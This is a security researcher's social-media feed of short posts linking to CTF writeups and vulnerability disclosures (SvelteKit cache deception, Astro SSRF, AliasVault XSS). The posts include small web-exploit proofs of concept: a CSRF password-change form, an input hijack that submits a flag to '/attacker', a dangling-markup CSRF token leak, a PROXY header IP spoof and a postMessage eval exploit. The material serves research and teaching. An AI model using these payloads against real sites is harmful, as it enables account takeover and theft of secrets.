Jorian's Avatar

Jorian

@jorianwoltjer.com

Normalize being weird.

328
Followers
103
Following
87
Posts
18.10.2024
Joined
Posts Following

Latest posts by Jorian @jorianwoltjer.com

Preview
How Storybook's WebSocket Server Became a Supply Chain Attack Vector: CVE-2026-27148 CVE-2026-27148 exposes a WebSocket hijacking flaw in Storybook that can escalate into supply chain compromise. Learn the attack path, impact, and how to remediate.

WebSockets are not yet affected by Local Network Access permission in Chrome.
Check out this blog post from my colleague Robbe!
www.aikido.dev/blog/storybo...

04.03.2026 09:05 πŸ‘ 4 πŸ” 0 πŸ’¬ 0 πŸ“Œ 0
Preview
Cross-Site Scripting (XSS) via Email HTML Rendering ## Impact A stored cross-site scripting (XSS) vulnerability was identified in the email rendering feature of AliasVault Web Client versions 0.25.3 and lower. When viewing received emails on an ali...

XSS on a password manager, about the scariest impact you can have...
github.com/aliasvault/a...
Luckily it was fixed super quick! Here's a simple script you can use to send raw HTML in emails. I think a lot more clients will benifit from sanitizer testing.
gist.github.com/JorianWoltje...

02.03.2026 10:27 πŸ‘ 1 πŸ” 1 πŸ’¬ 0 πŸ“Œ 0
Video thumbnail

Software can now secure itself.

β†’ www.aikido.dev/attack/infin...

26.02.2026 12:04 πŸ‘ 3 πŸ” 1 πŸ’¬ 1 πŸ“Œ 0
Preview
Astro SSRF Vulnerability: Host Header Injection in SSR Error Pages (CVE-2026-25545) Aikido Security's AI pentesting agent discovered a Server-Side Request Forgery vulnerability in Astro's SSR implementation. Learn how Host header injection in prerendered error pages allowed full inte...

Just a few days later, there's the next blog post for @aikidosecurity.bsky.social! Another framework-level vulnerability this time affecting Astro, resulting in SSRF if an unvalidated connection can be made to the webserver.
Read the details here:
www.aikido.dev/blog/astro-f...

23.02.2026 17:10 πŸ‘ 1 πŸ” 0 πŸ’¬ 0 πŸ“Œ 0
Preview
SvelteSpill: Critical Cache Deception Bug in SvelteKit + Vercel SvelteSpill is a cache deception vulnerability affecting default SvelteKit apps deployed on Vercel. Authenticated responses can be cached and exposed across users. Learn how to check if you’re vulnera...

My first disclosed vulnerability since joining @aikidosecurity.bsky.social, and it's a banger!
SvelteKit + Vercel = Cache Deception.
This shows how AI agents can find framework-level vulnerabilities, and that caching will continue to cause headaches. Enjoy :)
www.aikido.dev/blog/sveltes...

19.02.2026 11:35 πŸ‘ 7 πŸ” 1 πŸ’¬ 1 πŸ“Œ 0
Preview
A CTF-Style XSS Chain in the Wild: DOM Clobbering, Gadgets, and CSP Bypass A bug bounty target that unexpectedly felt like a CTF. What began as simple recon turned into a nice chain of discoveries that ultimately led to a valid XSS

Had a fun XSS gadget chain with antoniusblock on a real world target, he made an awesome writeup:
blog.antoniusblock.net/posts/dom-cl...

01.02.2026 09:30 πŸ‘ 9 πŸ” 2 πŸ’¬ 0 πŸ“Œ 0
Preview
Top 10 web hacking techniques of 2025 Welcome to the community vote for the Top 10 Web Hacking Techniques of 2025.

Every year I look through this list with amazement for what all the people came up with. This year I suddenly saw my own article nominated, not 1 but 2! 🀩
1. "Nonce CSP bypass using Disk Cache" on my blog
2 "Stopping Redirects" with @ctbbpodcast.bsky.social

Go vote!
portswigger.net/polls/top-10...

15.01.2026 16:34 πŸ‘ 3 πŸ” 0 πŸ’¬ 0 πŸ“Œ 0
Preview
hxpCTF 2025 - CatGPT | Jorian Woltjer The hardest web challenge during 39C3's hxp CTF. Auditing RegExes in a PHP library to uncover small gadgets that allow escaping and fixing a JavaScript context.

I made a shorter writeup for the CatGPT challenge during hxp CTF at 39C3!
It featured a cool combination of JavaScript injections to escape our context and fix the remaining syntax. Check it out:
jorianwoltjer.com/blog/p/ctf/h...

05.01.2026 09:39 πŸ‘ 5 πŸ” 1 πŸ’¬ 0 πŸ“Œ 0

Just arrived at #39c3, shoot me a DM if you wanna meet! πŸ˜„

27.12.2025 14:15 πŸ‘ 1 πŸ” 1 πŸ’¬ 0 πŸ“Œ 0
Preview
Intigriti December XSS Challenge (1225) | Jorian Woltjer A unique 6-part challenge by @Renwa containing many interesting techniques that combine into one large exploit. Learn some HTML/JavaScript quirks, an XS-Leak and how to minimize user interaction

Here is my writeup of Intigriti's December XSS challenge. It consisted of 6 smaller challenges combining into a big 1-click exploit.
One of the most fun ones I've ever played. Loved the unique format by @renwax23.bsky.social!
jorianwoltjer.com/blog/p/ctf/i...

23.12.2025 12:50 πŸ‘ 3 πŸ” 1 πŸ’¬ 0 πŸ“Œ 0
Preview
Stopping Redirects Interesting ways to stop redirects of another site in the browser for use in OAuth and exploits requiring interaction

There's a new post on the Critical Research Lab! I've seen a lot of questions and fun tricks related to this subject recently so I hope this helps answer some of them.
Enjoy!
lab.ctbb.show/research/sto...

09.12.2025 07:12 πŸ‘ 1 πŸ” 0 πŸ’¬ 0 πŸ“Œ 0
SVG Filters - Clickjacking 2.0 A novel and powerful twist on an old classic.

my new blogpost is out!!

this one talks about a new web vulnerability class i discovered that allows for complex interactive cross-origin attacks and data exfiltration

and i've already used it to get a google docs bounty ^^

have fun <3

lyra.horse/blog/2025/12...

04.12.2025 14:03 πŸ‘ 184 πŸ” 51 πŸ’¬ 8 πŸ“Œ 5
Preview
A Large-Scale Measurement Study of the PROXY Protocol and its Security Implications - NDSS Symposium

The author of the challenge, dari1wastaken, got the idea from this paper. Great results on internet-exposed servers:
www.ndss-symposium.org/ndss-paper/a...

16.11.2025 13:59 πŸ‘ 0 πŸ” 0 πŸ’¬ 0 πŸ“Œ 0
PROXY TCP4 127.0.0.1 1.2.3.4 1337 80
GET /ip HTTP/1.1
Host: 1.2.3.4:80

------------------------------------
HTTP/1.1 200 OK
Server: gunicorn

Your IP: 127.0.0.1

PROXY TCP4 127.0.0.1 1.2.3.4 1337 80 GET /ip HTTP/1.1 Host: 1.2.3.4:80 ------------------------------------ HTTP/1.1 200 OK Server: gunicorn Your IP: 127.0.0.1

Really interesting technique from a local CTF. In gunicorn with --proxy-protocol --proxy-allow-from='*', the "Proxy Protocol" (github.com/haproxy/hapr...) allows you to spoof the source IP with a PROXY prefix like this!
I feel like it might be useful as impact in Request TunnelingπŸ‘€

16.11.2025 11:33 πŸ‘ 3 πŸ” 0 πŸ’¬ 1 πŸ“Œ 0
async function release_once() {
  blocker.abort();
  await sleep(0);
  blocker = fetch_long(1337);
}

async function release_once() { blocker.abort(); await sleep(0); blocker = fetch_long(1337); }

(5/5) For Client-Side Race Conditions based on network requests, you can slow down time by holding up the Connection Pool. Then slowly release them one by one, performing any actions you need in between with 100% consistency.

17.10.2025 08:43 πŸ‘ 1 πŸ” 1 πŸ’¬ 0 πŸ“Œ 0
<input type="text" name="flag">
----------- AFTER -------------
<form action="/attacker" id="x">
  <input type="text" name="flag" form="x">
  <input type="submit" form="x">
</form>

<input type="text" name="flag"> ----------- AFTER ------------- <form action="/attacker" id="x"> <input type="text" name="flag" form="x"> <input type="submit" form="x"> </form>

(4/5) Form input history is restored on history.back() even if the HTML changed in the meantime.
For inputs without a form, that means you can hijack it into your own form with a form= attribute as an exception. From there you could submit your form to leak it.

17.10.2025 08:43 πŸ‘ 0 πŸ” 0 πŸ’¬ 1 πŸ“Œ 0
<iframe srcdoc='
  <meta http-equiv="refresh" content="1;url=about:srcdoc?param=value">
  <script src="/gadget.js"></script>
'></iframe>

<iframe srcdoc=' <meta http-equiv="refresh" content="1;url=about:srcdoc?param=value"> <script src="/gadget.js"></script> '></iframe>

(3/5) Script gadgets inside an <iframe srcdoc> that require URL parameters can be set using a <meta http-equiv="refresh"> redirect to about:srcdoc. It reloads the document with the new URL while keeping its content.

17.10.2025 08:43 πŸ‘ 0 πŸ” 0 πŸ’¬ 1 πŸ“Œ 0
<form action="/change_password" method="POST">
  <input type="text" name="new_password" value="hacked">
  <!-- Submit button is clicked by script gadget -->
  <input type="submit" id="something">
</form>
<script src="/click-something.js"></script>

<form action="/change_password" method="POST"> <input type="text" name="new_password" value="hacked"> <!-- Submit button is clicked by script gadget --> <input type="submit" id="something"> </form> <script src="/click-something.js"></script>

(2/5) With a strict CSP, .click() gadgets can be very useful for things like:
* Opening the attacker's website with <a target="_blank">
* Submitting a form for CSRF
* Performing actions on the site to trigger other behavior

17.10.2025 08:43 πŸ‘ 0 πŸ” 0 πŸ’¬ 1 πŸ“Œ 0

For the people who don't have time to read this entire thing, here are the coolest tricks I mentioned πŸ˜„: (1/5)

17.10.2025 08:43 πŸ‘ 3 πŸ” 1 πŸ’¬ 1 πŸ“Œ 0
Preview
openECSC 2025 - kittychat-secure | Jorian Woltjer Overcomplicating a hard client-side web challenge involving complex CSP script gadgets. Exploit Math.random() predictability, and learn how to use the Connection Pool to make Race Conditions easier.

Follow your rabbit holes is the takeaway from my latest CTF writeup.
I found several interesting techniques that can help tricky situations, such as using the Connection Pool to make Client-Side Race Conditions easier!

Read the whole thing on my blog:
jorianwoltjer.com/blog/p/ctf/o...

13.10.2025 05:47 πŸ‘ 3 πŸ” 2 πŸ’¬ 0 πŸ“Œ 2
Leaking CSP nonces with CSS & MathML By dangling a tag in HTML, leaking nonce attributes via CSS is possible again!

I posted 2 more small articles to the Critical Thinking Research Lab:
* Nonce CSS leak in MathML: lab.ctbb.show/research/lea...
* HTML fun facts: lab.ctbb.show/research/htm...

08.10.2025 06:39 πŸ‘ 5 πŸ” 1 πŸ’¬ 0 πŸ“Œ 0
Preview
Exploiting Web Worker XSS with Blobs Ways to turn XSS in a Web Worker into full XSS, covering known tricks and a new generic exploit using Blob URLs with the Drag and Drop API

My first post for the @ctbbpodcast.bsky.social Research Lab is live.
Super excited to be part of this team, can't wait to see what crazy research is gonna come from this!
lab.ctbb.show/research/Exp...

19.09.2025 14:28 πŸ‘ 9 πŸ” 3 πŸ’¬ 0 πŸ“Œ 0
Post image

AMAZING technique by @salvatoreabello, I've been inspired by the connection pool exploits he comes up with.
Check out this crazy impact labeled as "working as intended":
blog.babelo.xyz/posts/cross-...

18.09.2025 21:14 πŸ‘ 6 πŸ” 3 πŸ’¬ 0 πŸ“Œ 0
Post image

Forgot to add what we leak, this is the result:

16.09.2025 10:42 πŸ‘ 1 πŸ” 0 πŸ’¬ 0 πŸ“Œ 0
<iframe id="iframe" src="https://target.tld/dangling-object"></iframe>
<script>
  iframe.onload = () => {
    const object = iframe.contentWindow[0];
    object.location = "about:blank";  // Navigate to our same-origin
    const interval = setInterval(() => {
      object.origin;  // When it becomes same-origin
      clearInterval(interval);
      alert(object.name);  // Leak its name (kept after navigation)
    })
  }
</script>

<iframe id="iframe" src="https://target.tld/dangling-object"></iframe> <script> iframe.onload = () => { const object = iframe.contentWindow[0]; object.location = "about:blank"; // Navigate to our same-origin const interval = setInterval(() => { object.origin; // When it becomes same-origin clearInterval(interval); alert(object.name); // Leak its name (kept after navigation) }) } </script>

On our attacker's page, we load this in an iframe and can then access [0] to get a reference to our injected object. To read its name, we can set its location to *our* about:blank and then read the .name window property (set by the attribute)!

16.09.2025 08:08 πŸ‘ 1 πŸ” 0 πŸ’¬ 2 πŸ“Œ 0
Content-Security-Policy: default-src 'none'

<object data="about:blank" name='
<form>
  <input type="hidden" name="csrf" value="SECRET">
</form>
<script>
  console.log('Hello, world!');
</script>

Content-Security-Policy: default-src 'none' <object data="about:blank" name=' <form> <input type="hidden" name="csrf" value="SECRET"> </form> <script> console.log('Hello, world!'); </script>

While playing a challenge by Salvatore Abello, I found a pretty interesting way to exploit Dangling Markup with a strict CSP.
All you need is an <iframe>, <object> or <embed> set to about:blank, with a dangling name= attribute. This vulnerable page should be iframable.

16.09.2025 08:08 πŸ‘ 1 πŸ” 0 πŸ’¬ 2 πŸ“Œ 0
onclick = () => {
    window.open(location.href);
    location = "http://127.0.0.1:8000/vuln.html";
}
setTimeout(() => {
    const iframe = document.createElement("iframe");
    iframe.srcdoc = "";
    document.body.appendChild(iframe);
    iframe.onload = () => {
        iframe.contentWindow.eval('top.opener.postMessage("alert(origin)", "*")');
        iframe.remove();
    }
}, 1000);

onclick = () => { window.open(location.href); location = "http://127.0.0.1:8000/vuln.html"; } setTimeout(() => { const iframe = document.createElement("iframe"); iframe.srcdoc = ""; document.body.appendChild(iframe); iframe.onload = () => { iframe.contentWindow.eval('top.opener.postMessage("alert(origin)", "*")'); iframe.remove(); } }, 1000);

Final exploit code:
gist.github.com/JorianWoltje...
Thanks Omid sharing this challenge!

13.09.2025 06:10 πŸ‘ 1 πŸ” 0 πŸ’¬ 0 πŸ“Œ 0
Target tab on the left, and attacker tab on the right with an iframe inside. Arrow pointing from iframe up to parent with `.top`, and then to the left target window with `.opener`

Target tab on the left, and attacker tab on the right with an iframe inside. Arrow pointing from iframe up to parent with `.top`, and then to the left target window with `.opener`

We first duplicate our page, then navigate the first tab to the target. From our 2nd tab, the iframe can now access `top.opener` to send a message to the target. Quickly after, the parent removes the iframe and the `event.source` becomes `null`.

13.09.2025 06:10 πŸ‘ 0 πŸ” 0 πŸ’¬ 1 πŸ“Œ 0

In our exploit we can do the same:
1. Create a same-origin iframe
2. Make the iframe send a message to the target window
3. Instantly remove the iframe from the DOM

There's a few ways to get a reference to the target window from inside the iframe, but I used `opener` as follows:

13.09.2025 06:10 πŸ‘ 0 πŸ” 0 πŸ’¬ 1 πŸ“Œ 0
Can the source of a MessageEvent ever be undefined?

The solution comes from an obscure 2012 discussion where the developer noticed it being `null` in a bug:
groups.google.com/a/chromium.o...
They let an iframe send a message, and the iframe element was removed right after. By the time the receiver handles it the source is gone!

13.09.2025 06:10 πŸ‘ 0 πŸ” 0 πŸ’¬ 1 πŸ“Œ 0